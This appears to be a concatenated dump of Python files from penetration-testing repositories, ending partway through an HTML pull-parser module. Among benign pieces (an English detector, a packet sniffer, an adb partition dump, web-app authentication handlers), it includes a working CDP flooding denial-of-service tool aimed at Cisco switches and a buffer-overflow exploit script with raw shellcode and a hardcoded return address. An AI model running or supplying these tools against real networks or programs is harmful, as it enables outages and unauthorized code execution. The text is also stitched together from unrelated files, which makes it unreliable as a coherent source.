# import detectEnglish
# detectEnglish.isEnglish(someString) # returns True or False
# (There must be a "dictionary.txt" file in this directory with all English
# words in it, one word per line. You can download this from
# http://invpy.com/dictionary.txt)
UPPERLETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
LETTERS_AND_SPACE = UPPERLETTERS + UPPERLETTERS.lower() + ' \t\n'
def loadDictionary():
dictionaryFile = open('dictionary.txt')
englishWords = {}
for word in dictionaryFile.read().split('\n'):
englishWords[word] = None
dictionaryFile.close()
return englishWords
ENGLISH_WORDS = loadDictionary()
def getEnglishCount(message):
message = message.upper()
message = removeNonLetters(message)
possibleWords = message.split()
if possibleWords == []:
return 0.0 # no words at all, so return 0.0
matches = 0
for word in possibleWords:
if word in ENGLISH_WORDS:
matches += 1
return float(matches) / len(possibleWords)
def removeNonLetters(message):
lettersOnly = []
for symbol in message:
if symbol in LETTERS_AND_SPACE:
lettersOnly.append(symbol)
return ''.join(lettersOnly)
def isEnglish(message, wordPercentage=20, letterPercentage=85):
# By default, 20% of the words must exist in the dictionary file, and
# 85% of all the characters in the message must be letters or spaces
# (not punctuation or numbers).
wordsMatch = getEnglishCount(message) * 100 >= wordPercentage
numLetters = len(removeNonLetters(message))
messageLettersPercentage = float(numLetters) / len(message) * 100
lettersMatch = messageLettersPercentage >= letterPercentage
return wordsMatch and lettersMatch | 33.345455 | 76 | 0.685911 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Effective CDP Flooder reaching about 1.7-2.1MiB/s (6-7,5K pps) triggering Denial of Service
# on older network switches and routers like Cisco Switch C2960.
# (p.s. Yersinia reaches up to even 10-12MiB/s - 65K pps!)
#
# Python requirements:
# - scapy
#
# Mariusz Banach / mgeeky, '18, <mb@binary-offensive.com>
#
import sys
import struct
import string
import random
import argparse
import multiprocessing
try:
from scapy.all import *
except ImportError:
print('[!] Scapy required: pip install scapy')
sys.exit(1)
VERSION = '0.1'
config = {
'verbose' : False,
'interface' : None,
'packets' : -1,
'processors' : 8,
'source' : '',
# CDP Fields
'cdp-platform' : 'Cisco 1841',
# Software version - at most 199 chars.
'cdp-software-version' : '''Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.3(11)T2, RELEASE SOFTWARE (fc1)
Copyright (c) 1986-2004 by Cisco Systems, Inc.
Compiled Thu 28-Oct-04 21:09 by cmong''',
# Interface taking up
'cdp-interface' : 'FastEthernet0/1',
}
stopThreads = False
#
# ===============================================
#
class Logger:
@staticmethod
def _out(x):
if config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def cdpDeviceIDgen(size=2, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
return ''.join(random.choice(chars) for x in range(size))
def generatePacket():
#
# Parts of this function were taken from source code of 'cdp_flooder.py' by Chris McNab
# Network Security Assessment: Know Your Network
#
softVer = config['cdp-software-version'][:199]
platform = config['cdp-platform'][:-4]
iface = config['cdp-interface']
deviceID = cdpDeviceIDgen(8)
srcIP = Net(config['source']).choice()
caps = random.randint(1, 65)
etherframe = Ether() #Start definition of Ethernet Frame
etherframe.dst = '01:00:0c:cc:cc:cc' #Set Ethernet Frame destination MAC to Ciscos Broadcast MAC
etherframe.src = RandMAC() #Set Random source MAC address
etherframe.type = 0x011e #CDP uses Type field for length information
llcFrame = LLC() #Start definition of Link Layer Control Frame
llcFrame.dsap = 170 #DSAP: SNAP (0xaa) IG Bit: Individual
llcFrame.ssap = 170 #SSAP: SNAP (0xaa) CR Bit: Command
llcFrame.ctrl = 3 #Control field Frame Type: Unumbered frame (0x03)
snapFrame = SNAP() #Start definition of SNAP Frame (belongs to LLC Frame)
snapFrame.OUI = 12 #Organization Code: Cisco hex(0x00000c) = int(12)
snapFrame.code = 8192 #PID (EtherType): CDP hex(0x2000) = int(8192)
cdpHeader = CDPv2_HDR() #Start definition of CDPv2 Header
cdpHeader.vers = 1 #CDP Version: 1 - its always 1
cdpHeader.ttl = 255 #TTL: 255 seconds
cdpDeviceID = CDPMsgDeviceID() #Start definition of CDP Message Device ID
cdpDeviceID.type = 1 #Type: Device ID hex(0x0001) = int(1)
cdpDeviceID.len = 4 + len(deviceID) #Length: 6 (Type(2) -> 0x00 0x01) + (Length(2) -> 0x00 0x0c) + (DeviceID(deviceIdLen))
cdpDeviceID.val = deviceID #Generate random Device ID (2 chars uppercase + int = lowercase)
cdpAddrv4 = CDPAddrRecordIPv4() #Start Address Record information for IPv4 belongs to CDP Message Address
cdpAddrv4.ptype = 1 #Address protocol type: NLPID
cdpAddrv4.plen = 1 #Protocol Length: 1
cdpAddrv4.proto = '\xcc' #Protocol: IP
cdpAddrv4.addrlen = 4 #Address length: 4 (e.g. int(192.168.1.1) = hex(0xc0 0xa8 0x01 0x01)
cdpAddrv4.addr = str(srcIP) #Generate random source IP address
cdpAddr = CDPMsgAddr() #Start definition of CDP Message Address
cdpAddr.type = 2 #Type: Address (0x0002)
cdpAddr.len = 17 #Length: hex(0x0011) = int(17)
cdpAddr.naddr = 1 #Number of addresses: hex(0x00000001) = int(1)
cdpAddr.addr = [cdpAddrv4] #Pass CDP Address IPv4 information
cdpPortID = CDPMsgPortID() #Start definition of CDP Message Port ID
cdpPortID.type = 3 #type: Port ID (0x0003)
cdpPortID.len = 4 + len(iface) #Length: 13
cdpPortID.iface = iface #Interface string
cdpCapabilities = CDPMsgCapabilities() #Start definition of CDP Message Capabilities
cdpCapabilities.type = 4 #Type: Capabilities (0x0004)
cdpCapabilities.len = 8 #Length: 8
cdpCapabilities.cap = caps #Capability: Router (0x01), TB Bridge (0x02), SR Bridge (0x04), Switch that provides both Layer 2 and/or Layer 3 switching (0x08), Host (0x10), IGMP conditional filtering (0x20) and Repeater (0x40)
cdpSoftVer = CDPMsgSoftwareVersion() #Start definition of CDP Message Software Version
cdpSoftVer.type = 5 #Type: Software Version (0x0005)
cdpSoftVer.len = 4 + len(softVer) #Length
cdpSoftVer.val = softVer
cdpPlatform = CDPMsgPlatform() #Statr definition of CDP Message Platform
cdpPlatform.type = 6 #Type: Platform (0x0006)
cdpPlatform.len = 4 + len(platform) #Length
cdpPlatform.val = platform #Platform
restOfCdp = cdpDeviceID / cdpAddr / cdpPortID / cdpCapabilities / cdpSoftVer / cdpPlatform
cdpGeneric = CDPMsgGeneric()
cdpGeneric.type = 0
cdpGeneric.len = 0
cdpGeneric.val = str(restOfCdp)
cdpGeneric2 = CDPMsgGeneric()
cdpGeneric2.type = struct.unpack('<H', platform[-4:-2])[0]
cdpGeneric2.len = struct.unpack('<H', platform[-2:])[0]
cdppacket = etherframe / llcFrame / snapFrame / cdpHeader / cdpGeneric / cdpGeneric2
return cdppacket
def flooder(num, packets):
Logger.info('Starting task: {}, packets num: {}'.format(num, len(packets)))
packetsGen = []
sock = conf.L2socket(iface = config['interface'])
sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 512)
for i in range(512):
packetsGen.append(generatePacket())
if len(packets) == 0:
while stopThreads != True:
try:
for p in packetsGen:
if stopThreads: raise KeyboardInterrupt
sock.ins.send(str(p))
except KeyboardInterrupt:
break
else:
for p in packets:
if stopThreads: break
try:
for pg in packetsGen:
if stopThreads: raise KeyboardInterrupt
sock.ins.send(str(pg))
except KeyboardInterrupt:
break
Logger.info('Stopping task: {}'.format(num))
sock.close()
def parseOptions(argv):
global config
print('''
:: CDP Flooding / Denial of Service tool
Floods the interface with fake, randomly generated CDP packets.
Mariusz Banach / mgeeky '18, <mb@binary-offensive.com>
v{}
'''.format(VERSION))
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
parser.add_argument('-n', '--packets', dest='packets', metavar='NUM', default=-1, type=int, help='Number of packets to send. Default: infinite.')
parser.add_argument('-s', '--source', metavar='SRC', default='0.0.0.0/0', help='Specify source IP address/subnet. By default: random IP from 0.0.0.0/0')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
cdp = parser.add_argument_group('CDP Fields', 'Specifies contents of interesting CDP fields in packets to send')
cdp.add_argument('--software', help = 'Software version')
cdp.add_argument('--platform', help = 'Device Platform')
cdp.add_argument('--cdpinterface', help = 'Device Interface')
args = parser.parse_args()
config['verbose'] = args.verbose
config['interface'] = args.interface
config['packets'] = args.packets
config['source'] = args.source
config['processors'] = multiprocessing.cpu_count()
if args.cdpinterface: config['cdp-interface'] = args.cdpinterface
if args.platform: config['cdp-platform'] = args.platform
if args.software: config['cdp-sofware-version'] = args.software
Logger.info('Will use {} processors.'.format(config['processors']))
return args
def main(argv):
global stopThreads
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
if os.getuid() != 0:
Logger.err('This program must be run as root.')
return False
load_contrib('cdp')
packetsLists = [[] for x in range(config['processors'])]
if config['packets'] > 0:
for i in range(config['packets']):
packetsLists[i % config['processors']].append(i)
jobs = []
for i in range(config['processors']):
task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i]))
jobs.append(task)
task.daemon = True
task.start()
print('[+] Started flooding. Press CTRL-C to stop that.')
try:
while jobs:
jobs = [job for job in jobs if job.is_alive()]
except KeyboardInterrupt:
stopThreads = True
print('\n[>] Stopping...')
stopThreads = True
time.sleep(3)
if __name__ == '__main__':
main(sys.argv)
| 37.595668 | 249 | 0.578204 |
Hands-On-Penetration-Testing-with-Python | #simple python script to run a vulnerable program
import subprocess
param = "A" * 44
ret = "\x44\xff\x22\x11"
shellcode = ("\x90" * 10 + "\x8b\xec\x55\x8b\xec" +
"\x68\x65\x78\x65\x2F" +
"\x68\x63\x6d\x64\x2e" +
"\x8d\x45\xf8\x50\xb8" +
"\xc7\x93\xc2\x77" +
"\xff\xd0")
subprocess.call(["buff", param + ret + shellcode]) | 25.692308 | 52 | 0.598266 |
cybersecurity-penetration-testing | import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
conn.send("Thanks")
conn.close()
| 14.928571 | 53 | 0.689189 |
Ethical-Hacking-Scripts | import pyshark, sys
from optparse import OptionParser
class PacketSniffer:
def __init__(self, filter=None):
self.capture = pyshark.LiveCapture(display_filter=filter)
self.capture.sniff(timeout=0.01)
self.filter = filter
self.hasfilter = False
def sniff(self):
while True:
for packet in self.capture.sniff_continuously(packet_count=1000):
try:
print(f"[+] {packet.transport_layer} | {packet.ip.src}:{packet[packet.transport_layer].srcport}->{packet.ip.dst}:{packet[packet.transport_layer].dstport} | {packet.eth.src}->{packet.eth.dst} | Length: {packet.length} |")
except KeyboardInterrupt:
print("[+] Stopped sniffing packets.")
sys.exit()
except Exception as e:
try:
print(f"[+] {packet.transport_layer} | {packet.ipv6.src}:{packet[packet.transport_layer].srcport}->{packet.ipv6.dst}:{packet[packet.transport_layer].dstport} | {packet.eth.src}->{packet.eth.dst} | Length: {packet.length} |")
except:
pass
class OptionParse:
"""Option-Parsing Class for parsing arguements."""
def __init__(self):
"""Starts to parse the arguements."""
self.parse_args()
def logo(self):
print("""
__ ___ _____ _ _ __ ___
\ \ / (_) / ____| (_) | | /_ | / _ \
\ \ /\ / / _ _ __ ___| (___ __ _ _ _ _ __| | __ _| || | | |
\ \/ \/ / | | '__/ _ \ ___ \ / _` | | | | |/ _` | \ \ / / || | | |
\ /\ / | | | | __/____) | (_| | |_| | | (_| | \ V /| || |_| |
\/ \/ |_|_| \___|_____/ \__, |\__,_|_|\__,_| \_/ |_(_)___/
| |
|_|
Packet-Sniffer by DrSquid""")
def usage(self):
"""Displays the help message for option-parsing(in case you need it)."""
self.logo()
print("""
[+] Option-Parsing Help:
[+] Optional Arguements:
[+] --i, --info - Shows this message.
[+] --f, --filter - Specify the Database file to store passwords on(must be a .db).
[+] Note: These optional arguements have defaults, so you are able to leave them.
[+] Usage:
[+] python3 WireSquid.py --f <filter>
[+] python3 WireSquid.py --i""")
def parse_args(self):
"""This function parses the arguements."""
self.logo()
args = OptionParser()
args.add_option("--f", "--filter", dest="filter")
args.add_option("--i", "--info",dest="i", action="store_true")
arg, opt = args.parse_args()
if arg.i is not None:
self.usage()
sys.exit()
if arg.filter is not None:
filter = arg.filter
else:
filter = None
sniff = PacketSniffer(filter)
sniff.sniff()
parser = OptionParse() | 43.735294 | 249 | 0.463006 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, subprocess
def get_partition_info():
# dumping the list of installed apps from the device
print "Dumping partition information ..."
partitions = subprocess.Popen(['adb', 'shell', 'mount'],
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
partitions.wait()
while True:
line = partitions.stdout.readline().rstrip()
if line != '':
print "\033[0;32m" + line + "\033[m"
else:
break
if __name__ == '__main__':
# check if device is connected and adb is running as root
if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).communicate(0)[0].split("\n")[0] == "unknown":
print "no device connected - exiting..."
sys.exit(2)
get_partition_info() | 33.111111 | 116 | 0.678618 |
owtf | """
owtf.api.handlers.auth
~~~~~~~~~~~~~~~~~~~~~~~~
"""
from sqlalchemy.sql.functions import user
from owtf.models.user_login_token import UserLoginToken
from owtf.api.handlers.base import APIRequestHandler
from owtf.lib.exceptions import APIError
from owtf.models.user import User
from datetime import datetime, timedelta
import bcrypt
import json
import jwt
import re
from owtf.settings import (
JWT_SECRET_KEY,
JWT_ALGORITHM,
JWT_EXP_DELTA_SECONDS,
is_password_valid_regex,
is_email_valid_regex,
EMAIL_FROM,
SMTP_HOST,
SMTP_LOGIN,
SMTP_PASS,
SMTP_PORT,
SERVER_ADDR,
SERVER_PORT,
)
from owtf.db.session import Session
from uuid import uuid4
from owtf.models.email_confirmation import EmailConfirmation
from email.mime.text import MIMEText
import smtplib
from email.mime.multipart import MIMEMultipart
import logging
from bs4 import BeautifulSoup
from owtf.utils.logger import OWTFLogger
from owtf.api.handlers.jwtauth import jwtauth
import pyotp
class LogInHandler(APIRequestHandler):
"""LogIn using the correct credentials (email, password). After successfull login a JWT Token is generated."""
SUPPORTED_METHODS = ["POST"]
def post(self):
"""Post login data and return jwt token based on user credentials.
**Example request**:
.. sourcecode:: http
POST /api/v1/login/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
{
"emailOrUsername": "test@test.com",
"password": "Test@34335",
}
**Example successful login response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": {
"jwt-token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjozNSwiZXhwIjoxNjIzMjUyMjQwfQ.FjTpJySn3wprlaS26dC9LGBOMrtHJeJsTDJnyCKNmBk"
}
}
**Example failed login response**;
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "fail",
"message": "Invalid login credentials"
}
"""
email_or_username = self.get_argument("emailOrUsername", None)
password = self.get_argument("password", None)
if not email_or_username:
err = {"status": "fail", "message": "Missing email or username value"}
self.success(err)
if not password:
err = {"status": "fail", "message": "Missing password value"}
self.success(err)
user = User.find_by_email(self.session, email_or_username)
if user is None:
user = User.find_by_name(self.session, email_or_username)
if (
user
and user.password
and bcrypt.hashpw(password.encode("utf-8"), user.password.encode("utf-8")) == user.password.encode("utf-8")
and user.is_active
):
payload = {
"user_id": user.id,
"exp": datetime.utcnow() + timedelta(seconds=JWT_EXP_DELTA_SECONDS),
"username": user.name,
}
jwt_token = jwt.encode(payload, JWT_SECRET_KEY, JWT_ALGORITHM)
data = {"jwt-token": jwt_token.decode("utf-8")}
UserLoginToken.add_user_login_token(self.session, jwt_token, user.id)
self.success({"status": "success", "message": data})
elif user and not user.is_active:
err = {"status": "fail", "message": "Your account is not active"}
self.success(err)
else:
err = {"status": "fail", "message": "Invalid login credentials"}
self.success(err)
class RegisterHandler(APIRequestHandler):
"""Registers a new user when he provides email, name, password and confirm password."""
SUPPORTED_METHODS = ["POST"]
def post(self):
"""Post data for creating a new user as per the data given by user.
**Example request**:
.. sourcecode:: http
POST /api/v1/register/ HTTP/1.1
Content-Type: application/json; charset=UTF-8
{
"email": "test@test.com",
"password": "Test@34335",
"confirm_password": "Test@34335",
"name": "test"
}
**Example Successful registration response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": "User created successfully"
}
**Example Failed registration response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "fail",
"message": "Email already exists"
}
"""
username = self.get_argument("username", None)
email = self.get_argument("email", None)
password = self.get_argument("password", None)
confirm_password = self.get_argument("confirm_password", None)
if not username:
err = {"status": "fail", "message": "Missing username value"}
self.success(err)
if not email:
err = {"status": "fail", "message": "Missing email value"}
self.success(err)
if not password:
err = {"status": "fail", "message": "Missing password value"}
self.success(err)
if not confirm_password:
err = {"status": "fail", "message": "Missing confirm password value"}
self.success(err)
email_already_taken = User.find_by_email(self.session, email)
name_already_taken = User.find_by_name(self.session, username)
match_password = re.search(is_password_valid_regex, password)
match_email = re.search(is_email_valid_regex, email)
if password != confirm_password:
err = {"status": "fail", "message": "Password doesn't match"}
self.success(err)
elif not match_email:
err = {"status": "fail", "message": "Choose a valid email"}
self.success(err)
elif not match_password:
err = {"status": "fail", "message": "Choose a strong password"}
self.success(err)
elif name_already_taken:
err = {"status": "fail", "message": "Username already exists"}
self.success(err)
elif email_already_taken:
err = {"status": "fail", "message": "Email already exists"}
self.success(err)
else:
hashed_pass = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt())
user = {}
user["email"] = email
user["password"] = hashed_pass
user["name"] = username # need to be chaned to username
user["otp_secret_key"] = pyotp.random_base32()
User.add_user(self.session, user)
data = "User created successfully"
self.success({"status": "success", "message": data})
@jwtauth
class LogOutHandler(APIRequestHandler):
"""Logs out the current user and clears the cookie."""
def get(self):
"""Get user log out of the system.
**Example request**:
.. sourcecode:: http
GET /api/v1/logout/ HTTP/1.1
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": "Logged out"
}
"""
auth = self.request.headers.get("Authorization")
if auth:
parts = auth.split()
token = parts[1]
UserLoginToken.delete_user_login_token(self.session, token)
response = {"status": "success", "message": "Logged out"}
self.success(response)
else:
raise APIError(400, "Invalid Token")
def send_email_using_smtp(email_to, html, subject, logging_info):
"""Used for sending the email to the specified email with the given html and subject"""
if SMTP_HOST is not None:
msg = MIMEMultipart("alternative")
part = MIMEText(html, "html")
msg["From"] = EMAIL_FROM
msg["To"] = email_to
msg["Subject"] = subject
msg.attach(part)
with smtplib.SMTP(SMTP_HOST, SMTP_PORT) as server:
server.login(SMTP_LOGIN, SMTP_PASS)
server.sendmail(EMAIL_FROM, email_to, msg.as_string())
del msg
else:
logger = OWTFLogger()
logger.enable_logging()
logging.info("")
logging.info(logging_info)
logger.disable_console_logging()
html = BeautifulSoup(html, "html.parser").get_text()
print(html)
class AccountActivationGenerateHandler(APIRequestHandler):
"""Creates an email confirmation mail and sends it to the user for account confirmation."""
SUPPORTED_METHODS = ["POST"]
def post(self):
"""Post an email verification link to the specified email.
**Example request**:
.. sourcecode:: http
POST /api/v1/generate/confirm_email/ HTTP/1.1
{
"email": "test@test.com",
}
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": "Email send successful"
}
"""
email_to = self.get_argument("email", None)
email_confirmation_dict = {}
email_confirmation_dict["key_value"] = str(uuid4())
email_confirmation_dict["expiration_time"] = datetime.now() + timedelta(hours=1)
user_obj = User.find_by_email(self.session, email_to)
email_confirmation_dict["user_id"] = user_obj.id
EmailConfirmation.remove_previous_all(self.session, user_obj.id)
EmailConfirmation.add_confirm_password(self.session, email_confirmation_dict)
html = (
"""\
<html>
<body>
Welcome """
+ user_obj.name
+ ", <br/><br/>"
"""
Click here """
+ "http://{}:{}".format(SERVER_ADDR, str(SERVER_PORT))
+ "/email-verify/"
+ email_confirmation_dict["key_value"]
+ """ to activate your account (Link will expire in 1 hour).
</body>
</html>
"""
)
send_email_using_smtp(
email_to,
html,
"Account Activation",
"------> Showing the confirmation mail here, Since SMTP server is not set:",
)
response = {"status": "success", "message": "Email send successful"}
self.success(response)
class AccountActivationValidateHandler(APIRequestHandler):
"""Validates an email confirmation mail which was sent to the user."""
SUPPORTED_METHODS = ["GET"]
def get(self, key_value):
"""Get the email link to verify and activate user account.
**Example request**:
.. sourcecode:: http
GET /api/v1/verify/confirm_email/<link> HTTP/1.1
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": "Email Verified"
}
"""
email_conf_obj = EmailConfirmation.find_by_key_value(self.session, key_value)
if email_conf_obj is not None and email_conf_obj.expiration_time >= datetime.now():
User.activate_user(self.session, email_conf_obj.user_id)
response = {"status": "success", "message": "Email Verified"}
self.success(response)
elif email_conf_obj is not None and email_conf_obj.expiration_time < datetime.now():
user_id = email_conf_obj.user_id
user_email = User.find_by_id(self.session, user_id).email
if user_email is not None:
response = {"status": "success", "message": "Link Expired", "email": user_email}
self.success(response)
else:
response = {"status": "success", "message": "Invalid Link"}
self.success(response)
class OtpGenerateHandler(APIRequestHandler):
"""Creates an otp and sends it to the user for password change"""
SUPPORTED_METHODS = ["POST"]
def post(self):
"""
**Example request**:
.. sourcecode:: http
POST /api/v1/generate/otp/ HTTP/1.1
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": "Otp Send Successful"
}
"""
email_or_username = self.get_argument("emailOrUsername", None)
user_obj = User.find_by_email(self.session, email_or_username)
if user_obj is None:
user_obj = User.find_by_name(self.session, email_or_username)
if user_obj is not None:
secret_key = user_obj.otp_secret_key
totp = pyotp.TOTP(secret_key, interval=300) # 5 minutes interval
OTP = totp.now()
html = (
"""\
<html>
<body>
Welcome """
+ user_obj.name
+ ", <br/><br/>"
"""
Your OTP for changing password is: """
+ OTP
+ " (OTP will expire in 5 mins)"
+ """
</body>
</html>
"""
)
send_email_using_smtp(
user_obj.email,
html,
"OTP for Password Change",
"------> Showing the OTP here, Since SMTP server is not set:",
)
response = {"status": "success", "message": "Otp Send Successful"}
self.success(response)
else:
err = {"status": "fail", "message": "Username / Email doesn't exist"}
self.success(err)
class OtpVerifyHandler(APIRequestHandler):
"""Validates an otp which was sent to the user"""
SUPPORTED_METHODS = ["POST"]
def post(self):
"""
**Example request**:
.. sourcecode:: http
POST /api/v1/verify/otp/ HTTP/1.1
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": "OTP Verified"
}
"""
email_or_username = self.get_argument("emailOrUsername", None)
otp = self.get_argument("otp", None)
user_obj = User.find_by_email(self.session, email_or_username)
if user_obj is None:
user_obj = User.find_by_name(self.session, email_or_username)
if user_obj is not None and otp is not None:
secret_key = user_obj.otp_secret_key
totp = pyotp.TOTP(secret_key, interval=300)
verify = totp.verify(otp)
if verify:
self.success({"status": "success", "message": "OTP Verified"})
else:
self.success({"status": "fail", "message": "Invalid OTP"})
else:
err = {"status": "fail", "message": "Username / Email doesn't exist"}
self.success(err)
class PasswordChangeHandler(APIRequestHandler):
"""Handles setting a new password for the verified user"""
SUPPORTED_METHODS = ["POST"]
def post(self):
"""
**Example request**:
.. sourcecode:: http
POST /api/v1/new-password/ HTTP/1.1
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"message": "Password Change Successful"
}
"""
password = self.get_argument("password", None)
email_or_username = self.get_argument("emailOrUsername", None)
otp = self.get_argument("otp", None)
user_obj = User.find_by_email(self.session, email_or_username)
if user_obj is None:
user_obj = User.find_by_name(self.session, email_or_username)
match_password = re.search(is_password_valid_regex, password)
if not match_password:
err = {"status": "fail", "message": "Choose a strong password"}
self.success(err)
elif email_or_username is not None and password is not None and user_obj is not None and otp is not None:
secret_key = user_obj.otp_secret_key
totp = pyotp.TOTP(secret_key, interval=300)
verify = totp.verify(otp)
if verify:
hashed_pass = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")
User.change_password(self.session, user_obj.email, hashed_pass)
data = {"status": "success", "message": "Password Change Successful"}
self.success(data)
else:
self.success({"status": "fail", "message": "Invalid OTP"})
else:
err = {"status": "fail", "message": "Password Change Unsuccessful"}
self.success(err)
| 31.346221 | 158 | 0.549717 |
PenetrationTestingScripts | """A simple "pull API" for HTML parsing, after Perl's HTML::TokeParser.
Examples
This program extracts all links from a document. It will print one
line for each link, containing the URL and the textual description
between the <A>...</A> tags:
import pullparser, sys
f = file(sys.argv[1])
p = pullparser.PullParser(f)
for token in p.tags("a"):
if token.type == "endtag": continue
url = dict(token.attrs).get("href", "-")
text = p.get_compressed_text(endat=("endtag", "a"))
print "%s\t%s" % (url, text)
This program extracts the <TITLE> from the document:
import pullparser, sys
f = file(sys.argv[1])
p = pullparser.PullParser(f)
if p.get_tag("title"):
title = p.get_compressed_text()
print "Title: %s" % title
Copyright 2003-2006 John J. Lee <jjl@pobox.com>
Copyright 1998-2001 Gisle Aas (original libwww-perl code)
This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses.
"""
import re, htmlentitydefs
import _sgmllib_copy as sgmllib
import HTMLParser
from xml.sax import saxutils
from _html import unescape, unescape_charref
class NoMoreTokensError(Exception): pass
class Token:
"""Represents an HTML tag, declaration, processing instruction etc.
Behaves as both a tuple-like object (ie. iterable) and has attributes
.type, .data and .attrs.
>>> t = Token("starttag", "a", [("href", "http://www.python.org/")])
>>> t == ("starttag", "a", [("href", "http://www.python.org/")])
True
>>> (t.type, t.data) == ("starttag", "a")
True
>>> t.attrs == [("href", "http://www.python.org/")]
True
Public attributes
type: one of "starttag", "endtag", "startendtag", "charref", "entityref",
"data", "comment", "decl", "pi", after the corresponding methods of
HTMLParser.HTMLParser
data: For a tag, the tag name; otherwise, the relevant data carried by the
tag, as a string
attrs: list of (name, value) pairs representing HTML attributes
(or None if token does not represent an opening tag)
"""
def __init__(self, type, data, attrs=None):
self.type = type
self.data = data
self.attrs = attrs
def __iter__(self):
return iter((self.type, self.data, self.attrs))
def __eq__(self, other):
type, data, attrs = other
if (self.type == type and
self.data == data and
self.attrs == attrs):
return True
else:
return False
def __ne__(self, other): return not self.__eq__(other)
def __repr__(self):
args = ", ".join(map(repr, [self.type, self.data, self.attrs]))
return self.__class__.__name__+"(%s)" % args
def __str__(self):
"""
>>> print Token("starttag", "br")
<br>
>>> print Token("starttag", "a",
... [("href", "http://www.python.org/"), ("alt", '"foo"')])
<a href="http://www.python.org/" alt='"foo"'>
>>> print Token("startendtag", "br")
<br />
>>> print Token("startendtag", "br", [("spam", "eggs")])
<br spam="eggs" />
>>> print Token("endtag", "p")
</p>
>>> print Token("charref", "38")
&
>>> print Token("entityref", "amp")
&
>>> print Token("data", "foo\\nbar")
foo
bar
>>> print Token("comment", "Life is a bowl\\nof cherries.")
<!--Life is a bowl
of cherries.-->
>>> print Token("decl", "decl")
<!decl>
>>> print Token("pi", "pi")
<?pi>
"""
if self.attrs is not None:
attrs = "".join([" %s=%s" % (k, saxutils.quoteattr(v)) for
k, v in self.attrs])
else:
attrs = ""
if self.type == "starttag":
return "<%s%s>" % (self.data, attrs)
elif self.type == "startendtag":
return "<%s%s />" % (self.data, attrs)
elif self.type == "endtag":
return "</%s>" % self.data
elif self.type == "charref":
return "&#%s;" % self.data
elif self.type == "entityref":
return "&%s;" % self.data
elif self.type == "data":
return self.data
elif self.type == "comment":
return "<!--%s-->" % self.data
elif self.type == "decl":
return "<!%s>" % self.data
elif self.type == "pi":
return "<?%s>" % self.data
assert False
def iter_until_exception(fn, exception, *args, **kwds):
while 1:
try:
yield fn(*args, **kwds)
except exception:
raise StopIteration
class _AbstractParser:
chunk = 1024
compress_re = re.compile(r"\s+")
def __init__(self, fh, textify={"img": "alt", "applet": "alt"},
encoding="ascii", entitydefs=None):
"""
fh: file-like object (only a .read() method is required) from which to
read HTML to be parsed
textify: mapping used by .get_text() and .get_compressed_text() methods
to represent opening tags as text
